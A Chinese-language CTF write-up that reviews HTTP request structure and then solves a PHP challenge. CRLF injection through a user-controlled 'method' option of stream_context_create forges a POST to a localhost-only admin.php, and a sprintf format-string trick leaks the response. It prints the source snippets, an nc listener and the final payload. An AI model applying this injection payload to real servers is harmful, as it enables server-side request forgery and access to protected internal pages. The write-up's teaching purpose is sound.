这道题没做出来,看来writeup之后发现是因为自己基础知识不足。这里补一下。
请求方法 /路径 HTTP/版本
头字段: 值
比如:
GET /index.php HTTP/1.1
Host: 127.0.0.1
http头部的各个字段之间用CRLF(\r\n)(%0d%0a)分割
http请求头(响应头)和请求体(响应体)之间用两个CRLF分割
get请求:
GET / HTTP/1.1
Host: xx
post请求
POST / HTTP/1.1
Host: xxx
Content-Type: application/x-www-from-urlencoded
Content-Length: 3
a=1
用于多个域名映射到同一个ip时,按照Host的内容匹配不同网站内容,每个Http头必须有Host头
当这个目的主机上只有一个网站,那么Host字段内容可以为任意值
表明内容部分的编码格式和媒体类型 post/put等方式必须有(如果有请求体)
请求头中的Content-Type
GET请求:
GET没有请求实体部分,所以请求头中不需要设置Content-Type字段
POST/PUT请求
如果post/put请求有请求体(有传值),那么必须要设置Content-Type字段(否则服务端可能无法处理你的请求)
题目给了源码,可控的变量是url和method,提示了admin.php,但要本地才能访问。
注意到这里将method放在了%d的前面,如果method为%s%
,name结尾的%就会将%d中的%给转移掉,而前面的%s就可以将body中的内容给打印出来。
而method又会作为http请求的方式,但不影响,因为某些中间件会将不认识的方式默认当做GET请求来响应
echo "failed
";
echo sprintf("body length of $method%d", $body);
这里要post一个iwantflag=yes才能获得flag
再看看下面这串代码
$opts = array(
'http'=>array(
'method'=>$method,
'timeout'=>3
)
);
$context = stream_context_create($opts);
$body = @file_get_contents($url."/anything", false, $context);
这里使用的stream_context_create和file_get_contents来模拟http请求,method是直接拼接的我们的输入,所以这里我们可以构造一个任意的http请求。
举个列子:
这里服务器的代码为
array(
'method' => $method,
'header' => "Accept-langule: en"
)
);
$context=stream_context_create($arr);
$body = file_get_contents("http://127.0.0.1:8808",false,$context);
var_dump($body);
?>
我们用nc来监听本机的8808端口,看看file_get_contents发送的http头数据
nc -lp 8808
如果method为正常的GET,这时候就是正常的一个http请求
而也很容易想到,我们可以通过method来进行注入,使http头变成我们想要的样子,比如我输入
method=POST / HTTP/1.1
Host: 123
Content-Type: application/x-www-from-urlencoded
Content-Length: 3
a=1
a
这时发出的http请求就会变成
可以看到,前面的包已经完全成为我们可控的了。
到这里已经很明白了,只要通过method构造我们的http请求头即可
最后payload:
url=http://127.0.0.1&method=POST /admin.php HTTP/1.1
Host: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
iwantflag=yes%26id=%s%
最后加一个参数是为了防止后面的东西影响到前面的iwantflag参数
%26是&的url编码格式,防止在提前被认为是参数分隔符。